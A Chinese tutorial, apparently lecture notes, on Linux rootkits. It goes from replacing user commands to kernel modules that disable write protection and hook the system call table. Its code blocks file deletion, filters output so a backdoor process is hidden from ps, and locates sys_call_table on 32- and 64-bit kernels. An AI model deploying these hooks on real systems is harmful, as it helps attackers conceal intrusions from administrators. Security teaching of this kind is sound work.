我们来考虑一下版权保护的例子。

假设我们有一本著作需要保护，付费用户将它下载到本地，我们希望这份文档不能被拷贝。付一份钱只有一份电子文档。

这个可以怎么实现呢？

文档的拷贝，只需要动动手指就能解决了，总不能不让人用户动手指吧？

那应该怎么办呢？

这时候需要深入想一下，动动手指进行拷贝的时候发生了什么事情？

可能在Linux下我们更熟悉一点，Linux下我们经常使用命令像cp，也即是说，动手指，点右键拷贝实际上是调用了cp这样的命令。总是需要有代码真正把这个文件的每一个字节复制一遍。

所以，人们就在想，能不能通过修改cp命令，来实现对著作的保护呢？

cp命令的格式是 cp src dst；如果cp能进行检查，发现src是我们想保护的文件的时候就主动停止，那就ok。

那现在cp命令已经完成了，现有的cp命令并不会去改变为我们想要的效果。那我们怎么办呢？就自己来写一个cp。

cp可以怎么实现呢？

我们知道，用户层的各种命令归根到底都是通过系统调用来实现的。那想一下，cp命令使用了哪些系统调用？

我们可以顺便看一下系统调用。可以使用locate syscall.h 和locate unistd.h来看一下系统调用的情况。在/usr/include/i386-linux-gnu/asm中，unistd\_32.h中可以找到。

sys\_read就对应着read()，sys\_write对应着write()。

可以看出来，操作系统中大概有两三百个系统调用，每个系统调用实际上是一个整数。大家可以想一下，这些整数是用来做什么的？

cp本质上是文件操作，跟文件操作相关的系统调用有open，read和write。有这几个系统调用就已经可以实现cp的基本功能了。

在实现这个功能的过程中，我们可以加上一个判断，如果源文件是保护文件，就直接退出不执行。

类似地，如果是攻击者想要实现一些特殊的目的，譬如修改ls，修改netstat，都可以通过这种方法实现，替换掉系统中原有的就行了。像这种替换掉系统原有的普通命令，换成自己特殊目的的可执行文件，属于应用层rootkit。

好。我们来思考一下，这种方法的问题是什么？

首先，类似于cp命令，是能够防御住不懂写代码的普通用户；但是对于程序员没啥用。因为程序员自己也会写代码，现在的这个cp程序不好用，那就自己写一个可以复制的代码。同样地，对程序员而言，ls命令出错了，他也可以自己写一个ls。像应用层的rootkit怎么样可以检查出来呢？

好，我们继续思考这个问题。那对于准备自己写cp程序的人而言，怎么样防止文件被复制。我们理一理思路，最开始防止使用图形界面进行复制，我们做的事情是找到使用图形界面进行复制的底层原因，进行控制和篡改。现在这条路行不通了。那怎么办呢？我们就需要继续向底层走。

我们来看看cp或者ls这些个命令中调用的系统调用又是怎么样实现的。

这个时候，系统调用时属于内核的，所以，为了对系统调用进行控制，我们也必须到内核里去。

理解一下系统调用。

系统调用说的是操作系统提供给用户程序调用的一组“特殊”接口。用户程序可以通过这组“特殊”接口来获得操作系统内核提供的服务，比如用户可以通过文件系统相关的调用请求系统打开文件、关闭文件或读写文件，可以通过时钟相关的系统调用获得系统时间或设置系统时间等。

从逻辑上来说，系统调用可被看成是一个内核与用户空间程序交互的接口——它好比一个中间人，把用户进程的请求传达给内核，待内核把请求处理完毕后再将处理结果送回给用户空间。

Linux一共有2、3百个系统调用，进入内核后又该如何派发它们到各自的服务程序去呢？解决这个问题的方法非常简单：Linux为每个系统调用都进行了编号（0—NR\_syscall），同时在内核中保存了一张系统调用表，该表中保存了系统调用对应的服务例程。每次进行系统调用时，系统首先找到系统调用表，然后根据系统调用的编号找到服务例程。

我们来看一下简单的内核编程。**LKM（可加载内核模块）LKM的全称为Loadable Kernel Modules，中文名为可加载内核模块，主要作用是用来扩展linux的内核功能。**LKM的优点在于可以动态地加载到内存中，无须重新编译内核。由于LKM具有这样的特点，所以它经常被用于一些设备的驱动程序，例如声卡，网卡等等。当然因为其优点，也经常用于rootkit技术当中。

#include <linux/kernel.h>

#include <linux/module.h>

int init\_module(void) {

printk(KERN\_INFO "Hello World!\n");

return 0;

}

void cleanup\_module(void) {

printk(KERN\_INFO "Bye World!\n");

}

该模块被加载时，这个函数被内核执行，有点构造函数的感觉；与之相对应的，lkm\_init()是清除函数，当模块被卸载时，内核将执行该函数，有点类似析构函数的感觉，注意，如果一个模块未定义清除函数，则内核不允许卸载该模块。在LKM中，是无法依赖于我们平时使用的C库的，模块仅仅被链接到内核，只可以调用内核所导出的函数，不存在可链接的函数库。这是内核编程与我们平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里，可以通过dmesg | tail 查看。

module\_init和module\_exit是内核的特殊宏，我们需要利用这两个特殊宏告诉内核，我们所定义的初始化函数和清除函数分别是什么。

代码的描述就到这里，接下来我们需要对我们的LKM程序进行编译，下面是编译所需的Makefile：

obj-m += hello.o

obj-m += unlink.o

all:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

那我们接着看一个简单例子，Unlink.c

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/types.h>

#include <asm/unistd.h>

static unsigned long \*\*sct;

int (\* old\_unlink)(void);

int orig\_cr0;

void disable\_write\_protection(void)

{

unsigned long cr0 = read\_cr0();

clear\_bit(16, &cr0);

write\_cr0(cr0);

}

void enable\_write\_protection(void)

{

unsigned long cr0 = read\_cr0();

set\_bit(16, &cr0);

write\_cr0(cr0);

}

int my\_unlink(void)

{

printk(KERN\_INFO "unlink unavailable\n");

return 0;

}

static int enter (void)

{

sct=(void \*)0xc15c3060;

disable\_write\_protection();

old\_unlink=(void \*)sct[\_\_NR\_unlinkat];

sct[\_\_NR\_unlinkat]=(unsigned long \*)&my\_unlink;

enable\_write\_protection();

return 0;

}

static void go\_out(void)

{

printk(KERN\_INFO "Bye, restoring syscalls\n");

disable\_write\_protection();

sct[\_\_NR\_unlinkat]=(unsigned long \*)old\_unlink;

enable\_write\_protection();

}

module\_init(enter);

module\_exit(go\_out);

以上例子中，模块的入口程序是enter()；出口程序是go\_out（）。在enter中，首先获得了system call table的首地址。然后通过替换表中的原始服务地址为我们自己的服务函数，使得系统不能继续提供unlink服务，从而导致的效果就是无法删除文件。

在这里需要注意的是：

1. 进行系统调用劫持时，需要首先保存正确的系统调用的地址。特别是仅仅进行结果篡改而不是彻底终止服务时，保存原始服务非常重要。另外在卸载模块，也需要将系统调用表复原。
2. 系统调用表在内核中是只读保护的，因此在篡改之前需要取消写保护。Disable\_write\_protection和enable\_write\_protection的功能就分别是取消写保护和打开写保护。

通过以上例子我们可以看出通过系统调用劫持，我们可以改变系统的行为。接下来，我们看一个更具体的例子，来改变一些系统命令的结果。

来看一下ps。

ps是用来显示当前进程的命令。将后门程序在系统中运行之后，当务之急是不能让ps命令显示出来backdoor。

怎么样能够不显示后门程序呢？

我们先来看一个思路。（代码具体见rootkit/hideps2.c）

asmlinkage long hacked\_write(unsigned int fd,

char \* buf, unsigned int count)

{

char \*k\_buf;

k\_buf = (char\*)kmalloc(256,GFP\_KERNEL);

memset(k\_buf,0,256);

copy\_from\_user(k\_buf,buf,255);

if(strstr(k\_buf,processname))

{

kfree(k\_buf);

return count;

}

kfree(k\_buf);

//printk(KERN\_INFO "finished hacked\_write.\n");

return orig\_write(fd,buf,count);

}

从上面这个函数，可以猜测这次劫持的目标是write系统调用。

思路是什么呢？ps命令最终会将结果显示给用户，因此，我们来劫持write，过滤最终的显示。

来看一下这个代码具体的功能。这是我们自己写的替代原始write系统调用的函数；因为我们只是想过滤掉我们定义的关键字，譬如Backdoor；所以它还依赖于原始正确的write函数。代码的最后一行，return orig\_write(fd,buf,count)就是让正常的write系统调用继续发挥作用；如果过滤发现了关键字，那么就什么都不做，直接返回count。

大家可以想一下，这个模块的最终效果是什么？

有很大的副作用。

我们可以看一下，只要是文档中出现了Backdoor这个词，那么即使不是在ps命令中，也会影响显示。甚至，如果在这个模块启用的情况下，文档中无法保存含有关键字的内容。

因此，必须要精细作业。尽可能找到一个对ps命令很关键，但是对其他的功能影响很小的系统调用来劫持。

这时，我们需要更清楚地了解ps命令的工作原理，以及它依赖于哪些个系统调用。我们需要使用一个命令strace。

strace -o 1.txt ps

strace的作用是追踪命令执行过程中发生的系统调用。通过使用这个命令，我们可以发现ps中使用了一个系统调用getdents。getdents顾名思义，就是获得文件夹下的每一项。为什么ps命令会用到这个系统调用呢？

（讨论）

因此，如果明白了ps的工作原理，我们可以针对getdents进行处理，过滤掉其中出现了关键字的进程。而且对系统其他的操作没有影响。(代码具体见rootkit/hideps1.c)

通过上面的两个例子，我们可以基本清楚使用基于系统调用劫持来隐藏目标程序的思路：

1. 理清系统诊断命令ps, ls, netstat等的工作原理以及相关的系统调用；
2. 尽可能在不影响其他功能的情况下对系统调用的结果进行过滤。

接下来我们思考一个问题。在我们的代码中，直接使用了系统调用表的首地址。这个地址是我们直接从/proc/kallsym或者中查看，然后写入代码中的。这个地址对当前的系统有效，但是对其他系统可能就没有用了。所以需要程序能动态地获取地址。

动态获取SCT首地址有多种方法，我们来看一下。

1. 直接读取/proc/kallsym （具体代码见rootkit/printsct5.c）

#include <linux/module.h>

#include <linux/kallsyms.h>

#include <linux/string.h>

MODULE\_LICENSE("GPL");

MODULE\_DESCRIPTION("Access non-exported symbols");

MODULE\_AUTHOR("Stephen Zhang");

static int \_\_init lkm\_init(void)

{

//char \*sym\_name = "resume\_file";

char \*sym\_name = "sys\_call\_table";

unsigned long sym\_addr = kallsyms\_lookup\_name(sym\_name);

char filename[256];

strncpy(filename, (char \*)sym\_addr, 255);

printk(KERN\_INFO "[%s] %s (0x%lx): %s\n", \_\_this\_module.name, sym\_name, sym\_addr, filename);

return 0;

}

static void \_\_exit lkm\_exit(void)

{

}

module\_init(lkm\_init);

module\_exit(lkm\_exit);

这个方法直接使用了系统提供的kallsyms\_lookup\_name方法，实测有用，简单高效；负面效应不明。

1. /proc/kallsym文件的生成是通过读取了/boot/sysimage，因此，可以通过读取这个文件。可以查阅 [Hooking the Linux System CallTable](https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table/)。这种方法的复杂之处在于必须要能够获得系统当前的内核版本号，可以涉及到命令调用交互等。(代码见hooks.c)
2. 暴力搜索。 （代码见rootkit/printsct3.c）

unsigned long \*\*

get\_sys\_call\_table(void)

{

unsigned long \*\*entry = (unsigned long \*\*)PAGE\_OFFSET;

for (;(unsigned long)entry < ULONG\_MAX; entry += 1) {

if (entry[\_\_NR\_close] == (unsigned long \*)sys\_close) {

return entry;

}

}

return NULL;

}

PAGE\_OFFSET是内核内存空间的起始地址。 因为sys\_close是导出函数（需要指出的是， sys\_open 、 sys\_read 等并不是导出的），我们可以直接得到他的地址。

从内核内存的起始地址开始， 逐一尝试每一个指针大小的内存：把它当成是sys\_call\_table的地址， 用某个系统调用的编号（也就是索引）访问数组中的成员，如果访问得到的值刚好是是这个系统调用号所对应的系统调用的地址，那么我们就认为当前尝试的这块指针大小的内存就是我们要找的sys\_call\_table的地址。

（实测效果，32位系统有效。64位系统尚未成功。）

1. 最常见、最正统也最麻烦的方法。通过IDT表。（代码见rootkit/printsct.c）

我们还是需要理解下什么是IDT，以及为什么通过IDT可以得到sys\_call\_table。中断描述符表（Interrupt Descriptor Table，IDT），其作用是将每个异常或中断向量分别与它们的处理过程联系起来，每一个向量在表中有相应的中断或异常处理程序的入口地址。当系统发生中断时，内核根据异常或中断向量来在IDT中选择对应的处理程序的入口地址，进而对中断或异常进行处理。然后是重点：linux中的系统调用，也是通过一个特殊的中断——0×80号中断来实现的（补充一句，linux的系统调用还可以通过sysenter方法进入，所以这里介绍的通过0×80中断获取sys\_call\_table方法也是有局限的）：

1. 用户进程在执行系统调用前，先把系统调用名（实际上是系统调用号）、输入参数等放到寄存器上(EBX,ECX等寄存器)

2. 然后发出int 0×80指令，即触发128号中断

3. 系统暂停用户进程，根据128号中断找到中断服务程序system\_call

4. 128号中断的中断服务程序system\_call紧接着执行。在进行必要的处理后，统一调用 call sys\_call\_table(,eax,4)来调用sys\_call\_table表中的系统调用服务，eax存放的即时系统调用号；执行完毕后它又会把输出结果放到寄存器中。

5. 系统恢复用户进程，进程从寄存器中取到自己想要的东西，然后继续执行。

ok，在这个过程中，我们发现了sys\_call\_table的出现。在具体操作中，我们应该如何来通过IDT来得到系统调用表呢，以下是我们所需要完成的程序的核心思路：

1.利用sidt 指令，得到IDT

2.在IDT中找到0×80号中断的中断服务程序的地址system\_call

3.从0×80号中断的中断服务程序system\_call的地址开始搜索硬编码 \xff\x14\x85，这块硬编码的后面紧接着就是系统调用表的地址了，因为x86 call指令的二进制格式为\xff\x14\x85，而中断服务程序调用系统调用的语句是call sys\_call\_table(,eax,4)

X86 64位系统上，这一过程发生了变化。注意Linux x86\_64使用的LP64字长模式。

Linux x86\_64可以通过三种方式获取system\_call表，Linux x86\_64有两套调用模式：Long模式和兼容模式，对应有两套调用表：system\_call，ia32\_syscall.

    兼容方式 使用int 0x80, MSR寄存器地址为0xc0000083,宏MSR\_CSTAR来代表. 使用sidt获取system\_call地址

    Long方式 使用syscall, MSR寄存器地址为0xc0000082，宏MSR\_LSTAR来代表. 使用rdmsrl指令获取system\_call地址

对应代码为：（64位系统，rootkit/printsct4.c）

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <linux/types.h>

#include <linux/sched.h>

#include <linux/dirent.h>

#include <linux/string.h>

#include <linux/file.h>

#include <linux/fs.h>

#include <linux/list.h>

#include <asm/uaccess.h>

#include <linux/unistd.h>

#define CALLOFF 100

void\*\* sys\_call\_table;

void \*

get\_lstar\_sct\_addr(void)

{

u64 lstar;

u64 index;

rdmsrl(MSR\_LSTAR, lstar);

for (index = 0; index <= PAGE\_SIZE; index += 1) {

u8 \*arr = (u8 \*)lstar + index;

if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {

return arr + 3;

}

}

return NULL;

}

unsigned long \*\*

get\_lstar\_sct(void)

{

unsigned long \*lstar\_sct\_addr = get\_lstar\_sct\_addr();

if (lstar\_sct\_addr != NULL) {

u64 base = 0xffffffff00000000;

u32 code = \*(u32 \*)lstar\_sct\_addr;

return (void \*)(base | code);

} else {

return NULL;

}

}

static int filter\_init(void)

{

int i = 0;

sys\_call\_table = get\_lstar\_sct();

if (!sys\_call\_table)

{

printk("get\_act\_addr(): NULL...\n");

return 0;

}

else{

printk("sct: 0x%p\n", (unsigned long)sys\_call\_table);

for(i = 0; i < 5; i++)

printk("SYSCALLNO %d,ADDRESS 0x%x\n",i,(unsigned int)sys\_call\_table[i]);

printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys\_call\_table[\_\_NR\_getdents]);

printk("SYSCALLNO 217,ADDRESS 0x%x\n",(unsigned int)sys\_call\_table[217]);

return 0;

}

}

static void filter\_exit(void)

{

printk(KERN\_INFO "hideps: module removed\n");

}

MODULE\_LICENSE("GPL");

module\_init(filter\_init);

module\_exit(filter\_exit);

（实测有效）